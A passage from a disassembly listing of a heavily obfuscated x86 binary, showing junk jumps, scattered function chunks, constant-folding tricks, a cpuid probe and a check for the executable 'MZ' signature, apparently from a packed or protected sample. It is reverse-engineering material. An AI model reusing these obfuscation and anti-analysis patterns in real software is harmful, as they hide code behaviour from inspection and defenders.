arg_0		= dword	ptr  4

		mov	[esp+0], esi
		pop	esi
		add	edx, 0ED3A4838h
		xchg	edx, [esp-4+arg_0]
		jmp	sub_429165
sub_42859D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4285AF	proc near		; CODE XREF: sub_425AAA+3j

; FUNCTION CHUNK AT 0042A027 SIZE 00000005 BYTES

		add	esp, 0FFFFFFCCh
		lea	eax, sub_4266EF
		push	offset loc_428C82
		jmp	loc_42A027
sub_4285AF	endp

; ---------------------------------------------------------------------------
		test	al, al
		jz	loc_428408
		call	nullsub_242
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A6CD


loc_4285D0:				; CODE XREF: sub_42A6CD+24Fj
		jmp	loc_424C2E
; END OF FUNCTION CHUNK	FOR sub_42A6CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_4285D5:				; CODE XREF: sub_42A909-3359j
		jmp	loc_425098
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4293FF


loc_4285DA:				; CODE XREF: sub_4293FF:loc_42BCCFj
					; sub_4293FF+586Aj
		push	offset sub_42E83D
		jmp	loc_42DFDB
; END OF FUNCTION CHUNK	FOR sub_4293FF
; ---------------------------------------------------------------------------


loc_4285E4:				; CODE XREF: wto1jq8f:004274A8j
		add	ebx, 0EA24669Ch
		popf
; START	OF FUNCTION CHUNK FOR sub_42727F


loc_4285EB:				; CODE XREF: sub_42727F:loc_427499j
		xor	ecx, 7864812Bh
		add	ecx, ebp
		push	ebx
		push	9AD0926Eh
		pop	ebx
		xor	ebx, 2CA61C8Ah
		jmp	loc_42EAB0
; END OF FUNCTION CHUNK	FOR sub_42727F
; ---------------------------------------------------------------------------


loc_428605:				; CODE XREF: wto1jq8f:loc_427153j
		add	eax, [ebp-4]
		xor	edx, edx
		push	edx
		jmp	loc_426341
; ---------------------------------------------------------------------------


loc_428610:				; CODE XREF: wto1jq8f:loc_42730Ej
		add	eax, [esp]
; START	OF FUNCTION CHUNK FOR sub_42F25F


loc_428613:				; CODE XREF: sub_42F25F:loc_426D99j
		adc	edx, [esp+arg_0]
		add	esp, 8
		jmp	loc_42AACF
; END OF FUNCTION CHUNK	FOR sub_42F25F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_44. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA68


loc_428620:				; CODE XREF: sub_42AA68+417Cj
		jmp	loc_42BCF7
; END OF FUNCTION CHUNK	FOR sub_42AA68
; ---------------------------------------------------------------------------


loc_428625:				; CODE XREF: wto1jq8f:loc_4271E2j
		jz	loc_42E986
		jmp	loc_42F4AA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_210. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_428631:				; CODE XREF: wto1jq8f:0042D62Ej
		jnz	loc_427630
		jmp	loc_424795
; ---------------------------------------------------------------------------


loc_42863C:				; CODE XREF: wto1jq8f:00425AF4j
		cmp	ebp, ecx
		jmp	loc_42B056
; ---------------------------------------------------------------------------


loc_428643:				; CODE XREF: wto1jq8f:0042AE3Fj
		shr	esi, 8
		cmp	ecx, 8589575Dh
		jmp	loc_4289BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_428651:				; CODE XREF: sub_426535+91C0j
		jns	loc_42DB24
		xor	esi, 7D9D9409h


loc_42865D:				; CODE XREF: sub_42F863+9j
		add	ecx, ebp


loc_42865F:				; CODE XREF: sub_426535:loc_42A5A8j
		push	offset loc_428FD1
		jmp	loc_42DC4D
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_428669:				; CODE XREF: sub_42E9E8:loc_428ECCj
		add	ebx, 1FC93968h
		xor	ebx, 511938CDh
		sub	eax, ebx
		pop	ebx
		push	ebp
		mov	[esp+8+var_8], eax
		pushf
		push	0CD3F662Ah
		jmp	loc_4247FF
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260A9


loc_428688:				; CODE XREF: sub_4260A9+8C06j
		jmp	loc_429861
; END OF FUNCTION CHUNK	FOR sub_4260A9
; ---------------------------------------------------------------------------


loc_42868D:				; CODE XREF: wto1jq8f:0042CBA6j
		jmp	loc_42E629
; ---------------------------------------------------------------------------
		jmp	loc_42BFF5
; ---------------------------------------------------------------------------
		jmp	loc_42D487
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428333


loc_42869C:				; CODE XREF: sub_428333:loc_424CA9j
		test	eax, 2
		jz	loc_4272DE
		mov	eax, 63h
		push	ebx
		push	10EDE9B0h
		pop	ebx
		add	ebx, 0EF54BCD4h
		jmp	loc_42C3FE
; END OF FUNCTION CHUNK	FOR sub_428333
; ---------------------------------------------------------------------------
		cdq
		jo	loc_424ACE
		jmp	sub_429459
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FAE4


loc_4286CA:				; CODE XREF: sub_42FAE4:loc_42C0C8j
		cmp	edi, ebx
		pop	ebx
		jbe	loc_4248DF
		jmp	loc_42E41F
; END OF FUNCTION CHUNK	FOR sub_42FAE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427A8D


loc_4286D8:				; CODE XREF: sub_427A8D+6EA7j
		js	loc_42CEF5
		xor	ecx, 9C47DFF0h
		mov	[eax], esi
		push	ecx
		jmp	loc_4292D5
; END OF FUNCTION CHUNK	FOR sub_427A8D
; ---------------------------------------------------------------------------


loc_4286EC:				; DATA XREF: sub_4269EF+1o
		mov	ebp, esp
		push	ecx
		push	0E2FD3E9h
		xor	dword ptr [esp], 8E2FD3E9h
		jmp	loc_42A4C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C0C


loc_428700:				; CODE XREF: sub_426C0C:loc_428179j
		jnz	loc_42E294
		jmp	loc_429C74
; ---------------------------------------------------------------------------


loc_42870B:				; CODE XREF: sub_426C0C:loc_42F4F4j
		cmp	dword ptr [ebp-4], 7
		jnz	loc_42E294
		jmp	loc_42C3F8
; END OF FUNCTION CHUNK	FOR sub_426C0C
; ---------------------------------------------------------------------------
		add	edx, 4C907BEBh
		jmp	sub_42C031
; ---------------------------------------------------------------------------
		push	eax
		rol	eax, 14h
		mov	ds:dword_42956C, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4266B1


loc_428730:				; CODE XREF: sub_42F25F:loc_42B55Aj
					; sub_4266B1+6104j
		ror	eax, 14h
		push	eax
		call	sub_42D765
		jmp	nullsub_160
; END OF FUNCTION CHUNK	FOR sub_4266B1

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42873E	proc near		; DATA XREF: sub_427F4E+8o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042B8DE SIZE 00000005 BYTES

		push	ebx
		xchg	ebp, ebx
		mov	ebp, esp
		push	688E182Fh
		mov	[esp+4+var_4], ecx
		push	offset sub_42655A
		jmp	loc_42B8DE
sub_42873E	endp


; =============== S U B	R O U T	I N E =======================================



sub_428755	proc near		; CODE XREF: wto1jq8f:00428961j
					; wto1jq8f:00429F05p

arg_0		= dword	ptr  4

		xchg	esi, [esp+0]
		pop	esi
		xchg	edi, [esp-4+arg_0]
		retn
sub_428755	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42875D:				; DATA XREF: sub_429A99+13o
		push	0FDAB31A1h
		pop	edx
		push	offset loc_42A812
		jmp	loc_42A70D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9D9


loc_42876D:				; CODE XREF: sub_42D9D9:loc_42D40Dj
		sub	edi, edx
		add	edx, 0C20D7184h
		jmp	loc_42AC95
; END OF FUNCTION CHUNK	FOR sub_42D9D9
; ---------------------------------------------------------------------------
		ja	loc_428D0B
		jmp	loc_426588
; ---------------------------------------------------------------------------


loc_428785:				; CODE XREF: wto1jq8f:loc_42A4C7j
		push	0
		push	ebx
		push	6E420192h
		pop	ebx
		xor	ebx, 0B3B8850Ch
		add	ebx, 0C4B0B668h
		xor	ebx, 0A2AB3B06h
		jmp	loc_424C95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ED32


loc_4287A5:				; CODE XREF: sub_42ED32:loc_42D7C9j
		jl	loc_42C628
		jmp	loc_4274D6
; END OF FUNCTION CHUNK	FOR sub_42ED32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42821F


loc_4287B0:				; CODE XREF: sub_42821F:loc_42E44Fj
		xchg	ecx, [esp-8+arg_4]
		push	3
		push	80000000h
		mov	eax, [ebp-8]
		call	sub_429BFF


loc_4287C2:				; CODE XREF: sub_426437:loc_42643Cj
		add	eax, 8BEF4423h
		xchg	eax, [esp+0]
		jmp	sub_424585
; END OF FUNCTION CHUNK	FOR sub_42821F

; =============== S U B	R O U T	I N E =======================================



sub_4287D0	proc near		; CODE XREF: wto1jq8f:0042BC4Fj
					; sub_42C547p

; FUNCTION CHUNK AT 00424469 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		jns	sub_42704E


loc_4287DA:				; CODE XREF: sub_42C43B-7FDEj
		push	ebp
		push	offset loc_42987C
		jmp	loc_424469
sub_4287D0	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_144. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4284EC


loc_4287E6:				; CODE XREF: sub_4284EC+620Aj
		jmp	loc_42A18C
; END OF FUNCTION CHUNK	FOR sub_4284EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CBD1


loc_4287EB:				; CODE XREF: sub_42CBD1:loc_427D1Cj
		pop	ebx
		and	ebx, 24F0E767h
		add	ebx, 0FB52527Ah
		call	sub_427A53
; END OF FUNCTION CHUNK	FOR sub_42CBD1
; START	OF FUNCTION CHUNK FOR sub_4282FE


loc_4287FD:				; CODE XREF: sub_4282FE+Dj
		jmp	loc_42D520
; END OF FUNCTION CHUNK	FOR sub_4282FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_428802:				; CODE XREF: sub_42E9E8-7FBFj
		jmp	loc_425EC7
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_428807:				; CODE XREF: sub_42C486:loc_427981j
		cmp	eax, ebx
		jmp	loc_42AD95
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DBA6


loc_42880E:				; CODE XREF: sub_42DBA6:loc_428F96j
		add	edi, 9C74502Ah
		and	edi, 8F60EB02h
		add	edi, 1167C615h
		add	edi, ecx
		add	edi, 6C5791A3h
		mov	[edi], eax
		pop	edi
		push	offset loc_4275BC
		jmp	loc_42F4E3
; END OF FUNCTION CHUNK	FOR sub_42DBA6
; ---------------------------------------------------------------------------
		push	138A57E4h
		jmp	loc_4282BF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_239. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424585


loc_428840:				; CODE XREF: sub_424585+35ADj
		jmp	loc_4262E3
; END OF FUNCTION CHUNK	FOR sub_424585

; =============== S U B	R O U T	I N E =======================================



sub_428845	proc near		; DATA XREF: sub_42E115+10o

; FUNCTION CHUNK AT 0042A03C SIZE 00000005 BYTES

		pop	ecx
		pop	ebp
		jmp	loc_42A03C
sub_428845	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DC5C


loc_42884C:				; CODE XREF: sub_42DC5C+8j
		call	sub_42E785


loc_428851:				; CODE XREF: sub_4266EF+57E9j
		jz	loc_42F5A8
		jmp	loc_424D6E
; END OF FUNCTION CHUNK	FOR sub_42DC5C

; =============== S U B	R O U T	I N E =======================================



sub_42885C	proc near		; CODE XREF: sub_42992F:loc_429955j
					; sub_42BC9B+Ep

; FUNCTION CHUNK AT 0042BD2C SIZE 00000005 BYTES

		mov	eax, ds:dword_42F1CC
		push	offset loc_42666E
		jmp	loc_42BD2C
sub_42885C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F119


loc_42886C:				; CODE XREF: sub_42F119+Cj
		or	eax, eax
		jnz	loc_42AE2C
		push	offset loc_42AE21
		jmp	nullsub_163
; END OF FUNCTION CHUNK	FOR sub_42F119
; ---------------------------------------------------------------------------
		mov	eax, [ebp-30h]
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		cmp	word ptr [eax],	5A4Dh
		jnz	loc_42F5A8
		jmp	loc_42CE1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4276C3


loc_428897:				; CODE XREF: sub_4276C3+1F3j
		call	sub_42C75F
		mov	eax, [ebp-80Ch]
		push	eax
		push	0AFFFF7C5h
		jmp	loc_42E2F5
; END OF FUNCTION CHUNK	FOR sub_4276C3
; ---------------------------------------------------------------------------


loc_4288AD:				; CODE XREF: wto1jq8f:0042EFE3j
		js	sub_429017
		rol	ebx, 4
; START	OF FUNCTION CHUNK FOR sub_4260DB


loc_4288B6:				; CODE XREF: sub_4260DB:loc_4284C9j
		add	eax, 87D8591Fh
		call	sub_42AFCD


loc_4288C1:				; CODE XREF: sub_42F23A-2E5Aj
		xor	ecx, ecx
		push	offset sub_42C379
		jmp	nullsub_91
; END OF FUNCTION CHUNK	FOR sub_4260DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A197


loc_4288CD:				; CODE XREF: sub_42A197:loc_42AA89j
		jnz	loc_42EFBE


loc_4288D3:				; CODE XREF: sub_42628C+6EC4j
		jmp	loc_42DE54
; END OF FUNCTION CHUNK	FOR sub_42A197
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_42E95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_4288DE:				; CODE XREF: sub_42C486:loc_424A00j
		add	edi, 0E171403Bh
		sub	eax, 6FCF7C9Dh
		mov	edx, esi
		jge	loc_427D03
		jmp	loc_427D37
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429471


loc_4288F7:				; CODE XREF: sub_429471:loc_42A037j
		ja	loc_42827F
		xchg	edx, [edi]
		jmp	loc_42C364
; END OF FUNCTION CHUNK	FOR sub_429471
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_231. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A6CD


loc_428905:				; CODE XREF: sub_42A6CD-243Dj
		mov	edi, [edx]


loc_428907:				; CODE XREF: wto1jq8f:00429145j
		jnb	nullsub_17
		jmp	loc_4281D5
; END OF FUNCTION CHUNK	FOR sub_42A6CD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_56. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4295AA


loc_428913:				; CODE XREF: sub_4295AA+Aj
		jmp	nullsub_30
; END OF FUNCTION CHUNK	FOR sub_4295AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BFF


loc_428918:				; CODE XREF: sub_429BFF:loc_42C8BCj
		jnz	loc_426DAC
		jmp	loc_42BEC0
; END OF FUNCTION CHUNK	FOR sub_429BFF
; ---------------------------------------------------------------------------
		adc	eax, 598DC676h
		jmp	sub_42D8F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428C71


loc_42892E:				; CODE XREF: sub_428C71:loc_42F3C0j
		call	sub_42E04D
; END OF FUNCTION CHUNK	FOR sub_428C71
; START	OF FUNCTION CHUNK FOR sub_42609A


loc_428933:				; CODE XREF: sub_42609A+Aj
		jmp	loc_42E863
; END OF FUNCTION CHUNK	FOR sub_42609A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_428938:				; CODE XREF: sub_426E98-346j
		mov	ecx, [ebp+0]
		xor	ebp, ecx


loc_42893D:				; CODE XREF: sub_426E98:loc_426B46j
		and	edx, 0F5FE6BB5h


loc_428943:				; CODE XREF: wto1jq8f:loc_42DE81j
		add	edx, 2E848C30h
		xchg	edx, [esp+0Ch+var_C]
		jmp	sub_424585
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------


loc_428951:				; CODE XREF: wto1jq8f:loc_429436j
		or	eax, eax
		jnz	loc_42A298
		jmp	loc_42638D
; ---------------------------------------------------------------------------
		adc	eax, ebx
		popf
		jmp	sub_428755
; ---------------------------------------------------------------------------
		push	eax
		call	sub_424B70
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_42896C:				; CODE XREF: sub_42506F+2149j
		mov	eax, [ebp-80Ch]
		push	eax
		push	edi
		jmp	loc_42BFA5
; END OF FUNCTION CHUNK	FOR sub_42506F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_428979:				; CODE XREF: sub_4244EA+4E74j
		and	al, 0F6h
		cmp	al, 0C2h
		jz	loc_427CC2
		mov	eax, [ebp-4]
		mov	ax, [eax]
		jmp	loc_42B38E
; END OF FUNCTION CHUNK	FOR sub_4244EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F6A9


loc_42898E:				; CODE XREF: sub_42F6A9:loc_42DD69j
		and	esi, 0AB2D6251h
		xor	esi, 22086205h
		call	sub_42C4CF


loc_42899F:				; CODE XREF: sub_42FBC7-7FB6j
		jmp	nullsub_173
; END OF FUNCTION CHUNK	FOR sub_42F6A9
; ---------------------------------------------------------------------------
		and	edi, ebp
		jmp	sub_42F614
; ---------------------------------------------------------------------------


loc_4289AB:				; CODE XREF: wto1jq8f:loc_424364j
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_42B96B
		jmp	loc_4281D8
; ---------------------------------------------------------------------------


loc_4289BA:				; CODE XREF: wto1jq8f:0042864Cj
		jg	loc_42A9A1
		xchg	esi, ebp
		jmp	loc_4279CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9D9


loc_4289C7:				; CODE XREF: sub_42D9D9:loc_42C652j
		pop	edi
		and	edi, 1B88D8ACh
		add	edi, 0E4C29818h
		mov	[edi], eax
		pop	edi
		jmp	loc_424A5E
; END OF FUNCTION CHUNK	FOR sub_42D9D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AAC3


loc_4289DC:				; CODE XREF: sub_42AAC3-161Ej
		add	edi, 0FAC5C6F0h
		cmp	ecx, 830310C2h
		jmp	loc_42EC23
; END OF FUNCTION CHUNK	FOR sub_42AAC3
; ---------------------------------------------------------------------------
		not	edi
		jmp	sub_42DDE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_4289F4:				; CODE XREF: sub_426E98+7DB4j
		xor	ecx, 3DDD25BAh
		and	ecx, 0F4434B71h
		add	ecx, 903FEF6Ch
		xchg	ecx, [esp+0Ch+var_C]
		jmp	sub_427A8D
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EDB9


loc_428A0E:				; CODE XREF: sub_42EDB9-5F08j
					; wto1jq8f:loc_4296D1j
		test	ebp, 28B5CDE9h
		jmp	loc_42B196
; END OF FUNCTION CHUNK	FOR sub_42EDB9

; =============== S U B	R O U T	I N E =======================================



sub_428A19	proc near		; CODE XREF: sub_42F2C7-9313p

var_20		= dword	ptr -20h
var_10		= dword	ptr -10h

; FUNCTION CHUNK AT 004245A9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00424DD4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00427E7A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0042A0BD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C15D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C163 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C2FC SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0042CAE4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EFFC SIZE 00000005 BYTES

		mov	[esp+0], eax
		push	0
		push	10h
		call	sub_427D82
		mov	[ebp-10h], eax
		cmp	dword ptr [ebp-10h], 0
		jz	loc_4245A9
		lea	eax, [ebp-24h]


loc_428A35:				; CODE XREF: sub_428FFC+9j
		jmp	loc_42C15D
sub_428A19	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4293FF


loc_428A3A:				; CODE XREF: sub_4293FF:loc_42EC5Ej
		cmp	ecx, ebx
		jmp	loc_42C988
; END OF FUNCTION CHUNK	FOR sub_4293FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BD3


loc_428A41:				; CODE XREF: sub_429BD3+1DE7j
		jge	loc_429753
		or	esi, ecx
		jmp	loc_42D7F7
; END OF FUNCTION CHUNK	FOR sub_429BD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EFB5


loc_428A4E:				; CODE XREF: sub_42EFB5:loc_425D85j
					; sub_42EDB8j
					; DATA XREF: ...
		push	eax
		push	offset sub_42B4FD
		jmp	nullsub_159
; END OF FUNCTION CHUNK	FOR sub_42EFB5
; ---------------------------------------------------------------------------


loc_428A59:				; CODE XREF: wto1jq8f:loc_42963Dj
		xor	edx, edx
		cpuid
		push	offset sub_42CB49
		jmp	loc_42C5B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E0FD


loc_428A67:				; CODE XREF: sub_42E0FD:loc_42EEA9j
		mov	ebp, edx
		pop	edx
		mov	eax, ds:dword_42F0C0
		or	eax, eax
		jnz	loc_429617
		jmp	loc_427F61
; END OF FUNCTION CHUNK	FOR sub_42E0FD

; =============== S U B	R O U T	I N E =======================================



sub_428A7D	proc near		; DATA XREF: sub_42CF89-884Bo
		xchg	edi, [esp+0]
		jmp	sub_429165
sub_428A7D	endp

; ---------------------------------------------------------------------------
		call	sub_424B47
; START	OF FUNCTION CHUNK FOR sub_42C031


loc_428A8A:				; CODE XREF: sub_42C031-3278j
		jmp	loc_42CB1A
; END OF FUNCTION CHUNK	FOR sub_42C031
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_428A8F:				; CODE XREF: sub_42E9E8-A1DBj
		xor	ecx, eax
		mov	eax, offset loc_428AA4
		xchg	eax, [esp-8+arg_4]
		retn
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D1A8


loc_428A9A:				; CODE XREF: sub_42D1A8+11j
		jmp	loc_42C657
; END OF FUNCTION CHUNK	FOR sub_42D1A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42669E


loc_428A9F:				; CODE XREF: sub_42669E+Ej
		jmp	loc_42E88E
; END OF FUNCTION CHUNK	FOR sub_42669E
; ---------------------------------------------------------------------------


loc_428AA4:				; DATA XREF: sub_42E9E8-5F57o
		sub	eax, ebx
		cmp	ecx, 641D3431h
		jmp	loc_42CEE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_428AB1:				; CODE XREF: sub_429B76:loc_424C63j
		add	eax, 0F4CF0A9h
		add	eax, ebp
		add	eax, 0F0D7D344h
		mov	eax, [eax]
		jmp	loc_42A0AC
; END OF FUNCTION CHUNK	FOR sub_429B76

; =============== S U B	R O U T	I N E =======================================



sub_428AC6	proc near		; CODE XREF: sub_42606D-1C1Dp
					; wto1jq8f:0042A404j

; FUNCTION CHUNK AT 00426941 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004276F6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427EC2 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00428F9B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042A2D1 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042A773 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042BD4F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BFFA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042CF9E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042DE02 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E239 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0042EC1B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042F088 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F5D7 SIZE 0000000E BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		movzx	eax, word ptr [eax+6]
		push	edx
		push	574869A0h
		jmp	loc_42BD4F
sub_428AC6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jo	loc_42BCFD
		jmp	sub_42E076
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_63. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_428AE5	proc near		; DATA XREF: wto1jq8f:0042E93Fo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424929 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425C23 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004271DC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F5FB SIZE 00000011 BYTES

		call	sub_429165
		call	sub_424585
		push	0E6E517EDh
		pop	edx
		jmp	loc_4271DC
sub_428AE5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B5E4


loc_428AFA:				; CODE XREF: sub_42B5E4+7j
		cmp	eax, 7C61090Eh
		retn
; END OF FUNCTION CHUNK	FOR sub_42B5E4
; ---------------------------------------------------------------------------


loc_428B00:				; CODE XREF: wto1jq8f:0042E70Cj
		jmp	loc_429BB5

; =============== S U B	R O U T	I N E =======================================



sub_428B05	proc near		; CODE XREF: sub_426E98+720Bp
					; sub_425E35+90B7p

; FUNCTION CHUNK AT 00427EF6 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00429A43 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00429A4F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042B8D9 SIZE 00000005 BYTES

		xor	bx, bx
		add	ebx, 10000h
		jmp	loc_427EF6
sub_428B05	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_428B13:				; CODE XREF: sub_426E98+111j
		sub	edx, ebx
		jmp	loc_42B9BF
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A88D


loc_428B1A:				; CODE XREF: sub_42A88D:loc_427421j
		xchg	edx, [ecx]
		jmp	loc_42B2D8
; END OF FUNCTION CHUNK	FOR sub_42A88D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ADC7


loc_428B21:				; CODE XREF: sub_42ADC7:loc_42DB15j
		jmp	loc_42E9EB
; END OF FUNCTION CHUNK	FOR sub_42ADC7
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B276


loc_428B27:				; CODE XREF: sub_4259FF:loc_42435Ej
					; sub_42E3FD-9C8Ej ...
		jnz	loc_428E41
		call	sub_42CB36
		test	al, al
		jmp	loc_428E35
; END OF FUNCTION CHUNK	FOR sub_42B276
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42970D


loc_428B39:				; CODE XREF: sub_42970D+652Fj
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_42970D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428B3B	proc near		; CODE XREF: sub_428F61+Dp
					; wto1jq8f:0042A818p ...
		push	ebp
		mov	ebp, esp
sub_428B3B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428B3E	proc near		; CODE XREF: sub_426535+3C3Ej

; FUNCTION CHUNK AT 0042797C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C333 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042D4C1 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042D850 SIZE 00000005 BYTES

		add	esp, 0FFFFFFF8h
		push	ebx
		jmp	loc_42D4C1
sub_428B3E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42727F


loc_428B47:				; CODE XREF: sub_42727F+6j
					; sub_42970D+2C3Ej
		and	ecx, 526781D7h
		cmp	ecx, 4919DB5Fh
		jmp	loc_427499
; END OF FUNCTION CHUNK	FOR sub_42727F
; ---------------------------------------------------------------------------
		ror	ebp, 0Fh
		and	ecx, 0CEE0669Ah
		jmp	sub_42CBD1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426AD4


loc_428B66:				; CODE XREF: sub_426AD4:loc_42D784j
